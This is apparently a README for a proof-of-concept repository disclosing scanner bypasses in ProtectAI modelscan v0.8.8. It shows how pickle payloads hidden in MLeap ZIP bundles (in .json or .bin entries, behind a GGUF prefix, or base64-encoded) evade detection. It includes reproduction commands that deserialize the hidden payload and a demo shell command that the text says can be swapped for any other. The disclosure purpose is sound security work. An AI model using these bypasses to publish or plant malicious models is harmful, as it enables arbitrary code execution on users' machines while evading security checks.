MLeap modelscan Scanner Bypass — PoC Repository
Security Research | ProtectAI modelscan v0.8.8 | MLeap (.zip/.mleap bundle format)
Submitted to: https://huntr.com/bounties/disclose/models?target=MLeap
Summary
modelscan v0.8.8 selects its scanner engine based purely on file extension, not content magic bytes.
A MLeap bundle (ZIP file) containing raw Python pickle bytes inside a .json or .bin entry passes scanning with "No issues found!" — while carrying an executable payload.
This allows an attacker to publish a malicious MLeap model to HuggingFace that passes all ProtectAI scanner checks undetected.
Reproduction Steps
# 1. Install modelscan
pip install modelscan==0.8.8
# 2. Clone this repo
git clone https://huggingface.co/hoanghai2110/mleap-modelscan-bypass-poc
cd mleap-modelscan-bypass-poc
# 3. Scan the malicious bundle — EXPECTED: "No issues found!"
modelscan -p payloads/poc_scanner_bypass_hidden_pickle.zip
# 4. Confirm pickle payload IS present inside the "safe" file
python3 -c "
import zipfile
with zipfile.ZipFile('payloads/poc_scanner_bypass_hidden_pickle.zip') as z:
data = z.read('root/metadata.json')
print(f'metadata.json first 4 bytes: {data[:4].hex()}')
print(f'Is pickle (0x80 PROTO opcode): {data[0] == 0x80}')
print(f'Payload size: {len(data)} bytes')
"
# Output:
# metadata.json first 4 bytes: 8004955c
# Is pickle (0x80 PROTO opcode): True
# Payload size: 103 bytes
# 5. Execute the hidden payload (ACE demonstration)
python3 -c "
import zipfile, pickle
with zipfile.ZipFile('payloads/poc_scanner_bypass_hidden_pickle.zip') as z:
pickle.loads(z.read('root/metadata.json'))
"
# Result: /tmp/mleap_pwned created
PoC Files
| File | Bypass Technique | modelscan v0.8.8 Result |
|---|---|---|
payloads/poc_scanner_bypass_hidden_pickle.zip |
Pickle in .json + .bin entries |
✅ No issues found! |
payloads/poc_scanner_bypass_gguf_prefix.zip |
GGUF magic prefix breaks ZIP detection | ✅ No issues found! |
payloads/poc_scanner_bypass_b64.zip |
Pickle embedded in base64 JSON field | ✅ No issues found! |
payloads/poc_scanner_bypass_polyglot.mleap |
Unknown .mleap extension — no scanner |
✅ No issues found! |
payloads/poc_scanner_bypass_nullbyte.zip |
Double extension .json.pkl |
❌ Detected (control) |
Root Cause
modelscan routes scanner selection by file extension:
.pkl → PickleUnsafeOpScan ✅ (detects pickle)
.pt → PyTorchUnsafeOpScan ✅ (detects PyTorch pickle)
.bin → PyTorchUnsafeOpScan ⚠️ (WRONG scanner — misses raw pickle)
.json → (skipped entirely) ❌ (no scanner for JSON)
.mleap→ (no scanner registered)❌ (unknown ext = 0 checks)
A MLeap bundle's internal ZIP entries include metadata.json, model.json, model.bin — all bypassed.
Bypass 1 — .json extension:
root/metadata.jsoncontains\x80\x04\x95...(pickle PROTO opcode)- modelscan: skipped (JSON extension → not scanned for pickle)
Bypass 2 — .bin wrong scanner:
root/scaler_0.node/model.bincontains raw pickle bytes- modelscan: runs
PyTorchUnsafeOpScan(checks for PyTorch-specific class names) - Raw
os.systempickle does NOT use PyTorch classes → not detected
Bypass 3 — GGUF magic prefix:
- File starts with
GGUF\x03\x00\x00\x00...(24 bytes) followed by valid ZIP data - Python's
zipfilereads from end-of-central-directory → opens ZIP successfully - modelscan fails to detect ZIP format (magic bytes don't match
PK\x03\x04) → skips all entries
Verified Output
$ modelscan -p payloads/poc_scanner_bypass_hidden_pickle.zip
Scanning ...model.bin using modelscan.scanners.PyTorchUnsafeOpScan model scan
--- Summary ---
No issues found! 🎉
--- Skipped ---
Total skipped: 8
Scanner skipped 8 entries including root/metadata.json (103-byte pickle payload).
Generator Script
poc_scanner_bypass.py — generates all bypass bundles from scratch:
python3 poc_scanner_bypass.py
# Outputs 5 PoC bundles in ./payloads/
Payload used: touch /tmp/mleap_pwned (benign demo — replace with any shell command).